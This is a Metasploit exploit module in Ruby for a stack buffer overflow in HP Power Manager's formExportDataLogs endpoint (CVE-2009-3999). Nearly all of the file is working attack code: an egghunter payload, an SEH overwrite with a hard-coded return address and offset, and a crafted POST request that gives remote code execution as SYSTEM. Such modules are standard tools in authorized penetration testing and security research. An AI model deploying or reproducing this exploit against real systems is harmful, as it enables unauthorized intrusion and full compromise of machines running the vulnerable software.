##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'            => "HP Power Manager 'formExportDataLogs' Buffer Overflow",
			'Description'     => %q{
					This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.
				By creating a malformed request specifically for the fileName parameter, a stack-based
				buffer overflow occurs due to a long error message (which contains the fileName),
				which may result aribitrary remote code execution under the context of 'SYSTEM'.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					# Original discovery (Secunia Research)
					'Alin Rad Pop',
					# Metasploit module (thx DcLabs members, corelanc0d3r, humble-desser, pyoor)
					'Rodrigo Escobar <ipax[at]dclabs.com.br>',
					# Metasploit fu
					'sinn3r'
				],
			'References'      =>
				[
					[ 'CVE', '2009-3999' ],
					[ 'OSVDB', '61848'],
					[ 'BID', '37867' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform'        => 'win',
			'Payload'         =>
				{
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
					'DisableNops' => true,
					'EncoderOptions' => {'BufferRegister' => 'EDI' }  # Egghunter jmp edi
				},
			'Targets'         =>
				[
					[
						# Tested on HP Power Manager 4.2 (Build 7 and 9)
						'Windows XP SP3 / Win Server 2003 SP0',
						{
							'Ret'    => 0x004174d5,  #pop esi # pop ebx # ret 10 (DevManBE.exe)
							'Offset' => 721
						}
					]
				],
			'Privileged'      => false,
			'DisclosureDate'  => 'Oct 19 2011',
			'DefaultTarget'   => 0))
	end

	def exploit
		print_status("Generating payload...")

		# Randomize the tag by not specifying one
		eggoptions = { :checksum => true }

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		buffer  = rand_text_alpha_upper(target['Offset'] - hunter.length)
		buffer << make_nops(30) + hunter
		buffer << "\xeb\xc2\x90\x90"           #JMP SHORT 0xC2
		buffer << [target.ret].pack('V*')[0,3] #SEH (strip the null byte, HP PM will pad it for us)

		# Let's make the request a little bit more realistic looking
		time = Time.new

		print_status("Trying target #{target.name}...")
		connect

		request = send_request_cgi({
			'method'    => 'POST',
			'uri'       => '/goform/formExportDataLogs',
			'vars_post' => {
				'dataFormat' => 'comma',
				'exportto'   => 'file',
				'fileName'   => buffer,
				'bMonth'     => "%02d" %time.month,
				'bDay'       => "%02d" %time.day,
				'bYear'      => time.year.to_s,
				'eMonth'     => "%02d" %time.month,
				'eDay'       => "%02d" %time.day,
				'eYear'      => time.year.to_s,
				'LogType'    => 'Application',
				'actionType' => '1%3B'
			},
			'headers' =>
				{
					'Accept'  => egg,
					'Referer' => "http://#{rhost}/Contents/exportLogs.asp?logType=Application"
				}
		}, 5)

		print_status("Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)")

		# Wait for a bit longer. For some reason it may take some time for the process to start
		# handling our request.
		select(nil, nil, nil, 7)

		handler
		disconnect
	end
end